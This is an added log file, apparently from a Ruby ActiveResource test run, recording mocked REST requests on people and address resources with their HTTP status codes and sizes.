+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (48 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (25 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (15 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (15 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (50 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+I, [2009-09-14T21:24:22.919953 #50281]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:22.945630 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:22.946693 #50281]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:22.946794 #50281]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-14T21:24:22.989426 #50281]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-09-14T21:24:22.989575 #50281]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-14T21:24:22.990381 #50281]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:22.990471 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:22.991355 #50281]  INFO -- : POST http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:22.991574 #50281]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-09-14T21:24:22.991747 #50281]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:22.991942 #50281]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:23.021253 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-14T21:24:23.021420 #50281]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-14T21:24:23.027192 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.027344 #50281]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-14T21:24:23.030327 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-14T21:24:23.030465 #50281]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-14T21:24:23.031293 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.031389 #50281]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-14T21:24:23.033508 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-14T21:24:23.033632 #50281]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-14T21:24:23.034615 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.034708 #50281]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-14T21:24:23.036864 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-14T21:24:23.036989 #50281]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-14T21:24:23.037978 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.038086 #50281]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-14T21:24:23.074441 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-14T21:24:23.074586 #50281]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-14T21:24:23.075428 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.075520 #50281]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-14T21:24:23.077530 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-14T21:24:23.077673 #50281]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-14T21:24:23.078663 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.078793 #50281]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-14T21:24:23.095453 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.095594 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.146805 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.146971 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.148565 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.148687 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.162103 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.162316 #50281]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-09-14T21:24:23.165790 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.165954 #50281]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-09-14T21:24:23.176076 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-14T21:24:23.176250 #50281]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-14T21:24:23.186390 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.186781 #50281]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-14T21:24:23.330055 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.330203 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.339513 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/4.xml
+I, [2009-09-14T21:24:23.339662 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.362630 #50281]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.362845 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.363077 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.363158 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.374985 #50281]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.375153 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.375382 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.375466 #50281]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-09-14T21:24:23.383843 #50281]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.384099 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.384431 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.384594 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.394988 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.395181 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.397116 #50281]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.397287 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.397578 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.397670 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.406314 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.406475 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.408011 #50281]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.408116 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.408365 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.408446 #50281]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-09-14T21:24:23.416351 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.416547 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.419011 #50281]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.419228 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.419568 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.419668 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.428427 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.428624 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.428752 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-09-14T21:24:23.428838 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.429219 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.429404 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.430935 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.431045 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.431276 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-09-14T21:24:23.431365 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.431532 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.431619 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.431743 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-09-14T21:24:23.431829 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.431979 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-09-14T21:24:23.432064 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.432217 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.432296 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.433516 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.433622 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.433799 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-09-14T21:24:23.433886 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.434085 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-09-14T21:24:23.434172 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:23.441773 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.441900 #50281]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-09-14T21:24:23.449974 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.450139 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.450400 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.450528 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.452128 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.452268 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.452416 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.452490 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.453675 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-09-14T21:24:23.453779 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.453913 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.453987 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.455126 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-09-14T21:24:23.455223 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.456462 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-09-14T21:24:23.456590 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.464525 #50281]  INFO -- : HEAD http://37s.sunrise.i:3000/people/not-mocked.xml
+I, [2009-09-14T21:24:23.464708 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:23.487339 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.487501 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.547774 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/5.xml
+I, [2009-09-14T21:24:23.547935 #50281]  INFO -- : --> 200 200 (223 0ms)
+I, [2009-09-14T21:24:23.557598 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.557752 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.567067 #50281]  INFO -- : GET http://37s.sunrise.i:3000/customers/1.xml
+I, [2009-09-14T21:24:23.567231 #50281]  INFO -- : --> 200 200 (1458 0ms)
+I, [2009-09-14T21:24:23.634160 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.634325 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.635884 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-14T21:24:23.636076 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.644907 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.645150 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.646829 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.646933 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.655574 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.655724 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:23.658096 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.658187 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.666947 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-14T21:24:23.667087 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.675971 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.676100 #50281]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-09-14T21:24:23.685888 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-14T21:24:23.686045 #50281]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-09-14T21:24:23.873414 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:23.873599 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.882478 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:23.882616 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:23.893034 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:23.893189 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:23.896017 #50281]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:23.896124 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:23.955127 #50281]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-09-14T21:24:23.955293 #50281]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-14T21:24:23.957219 #50281]  INFO -- : PUT http://somewhere.else:80/people/2.xml
+I, [2009-09-14T21:24:23.957339 #50281]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-09-14T21:24:23.965430 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.965710 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:23.967738 #50281]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.967868 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:23.975448 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-14T21:24:23.975598 #50281]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-14T21:24:23.977737 #50281]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:23.977847 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.026581 #50281]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-09-14T21:24:24.026763 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.030444 #50281]  INFO -- : DELETE http://localhost:80/people/1.xml
+I, [2009-09-14T21:24:24.030580 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:24.032557 #50281]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:24.032652 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:24.034638 #50281]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-09-14T21:24:24.034732 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.038170 #50281]  INFO -- : GET http://localhost:80/people.xml
+I, [2009-09-14T21:24:24.038291 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.042378 #50281]  INFO -- : GET http://localhost:80/people_empty_elements.xml
+I, [2009-09-14T21:24:24.042487 #50281]  INFO -- : --> 200 200 (77 0ms)
+I, [2009-09-14T21:24:24.045491 #50281]  INFO -- : GET http://localhost:80/people_single_elements.xml
+I, [2009-09-14T21:24:24.045670 #50281]  INFO -- : --> 200 200 (208 0ms)
+I, [2009-09-14T21:24:24.049464 #50281]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:24.049653 #50281]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-14T21:24:24.056120 #50281]  INFO -- : HEAD http://localhost:80/people/1.xml
+I, [2009-09-14T21:24:24.056254 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:24.060249 #50281]  INFO -- : POST http://localhost:80/people.xml
+I, [2009-09-14T21:24:24.060392 #50281]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-14T21:24:24.062543 #50281]  INFO -- : POST http://localhost:80/members.xml
+I, [2009-09-14T21:24:24.062648 #50281]  INFO -- : --> 201 201 (1 0ms)
+I, [2009-09-14T21:24:24.066784 #50281]  INFO -- : PUT http://localhost:80/people/1.xml
+I, [2009-09-14T21:24:24.066895 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.068860 #50281]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-09-14T21:24:24.068955 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.077541 #50281]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-09-14T21:24:24.103909 #50281]  INFO -- : GET http://localhost:80/people_timeout.xml
+I, [2009-09-14T21:24:24.108652 #50281]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+I, [2009-09-14T21:24:24.108779 #50281]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-09-14T21:24:24.110569 #50281]  INFO -- : POST http://somewhere.else:80/people/hire.xml?name=Matz
+I, [2009-09-14T21:24:24.110669 #50281]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-14T21:24:24.110824 #50281]  INFO -- : PUT http://somewhere.else:80/people/promote.xml?name=Matz
+I, [2009-09-14T21:24:24.110902 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.111055 #50281]  INFO -- : PUT http://somewhere.else:80/people/sort.xml?by=name
+I, [2009-09-14T21:24:24.111141 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.111284 #50281]  INFO -- : DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+I, [2009-09-14T21:24:24.111361 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:24.111507 #50281]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+I, [2009-09-14T21:24:24.111588 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.113906 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.114000 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.115291 #50281]  INFO -- : GET http://somewhere.else:80/people/1/shallow.xml
+I, [2009-09-14T21:24:24.115376 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.116519 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.116627 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.117864 #50281]  INFO -- : GET http://somewhere.else:80/people/1/deep.xml
+I, [2009-09-14T21:24:24.117958 #50281]  INFO -- : --> 200 200 (129 0ms)
+I, [2009-09-14T21:24:24.119237 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.119317 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.120440 #50281]  INFO -- : PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+I, [2009-09-14T21:24:24.120526 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.120669 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.120741 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.121860 #50281]  INFO -- : DELETE http://somewhere.else:80/people/1/deactivate.xml
+I, [2009-09-14T21:24:24.121951 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:24.122101 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:24.122181 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:24.123443 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+I, [2009-09-14T21:24:24.123538 #50281]  INFO -- : --> 200 200 (139 0ms)
+I, [2009-09-14T21:24:24.125436 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:24.125696 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:24.127093 #50281]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+I, [2009-09-14T21:24:24.127255 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.129973 #50281]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-09-14T21:24:24.130094 #50281]  INFO -- : --> 201 201 (78 0ms)
+I, [2009-09-14T21:24:24.130675 #50281]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+I, [2009-09-14T21:24:24.130760 #50281]  INFO -- : --> 201 201 (92 0ms)
+I, [2009-09-14T21:24:24.131220 #50281]  INFO -- : POST http://somewhere.else:80/people/1/register.xml
+I, [2009-09-14T21:24:24.131301 #50281]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-09-14T21:24:24.133757 #50281]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-09-14T21:24:24.133859 #50281]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-09-14T21:24:24.195154 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
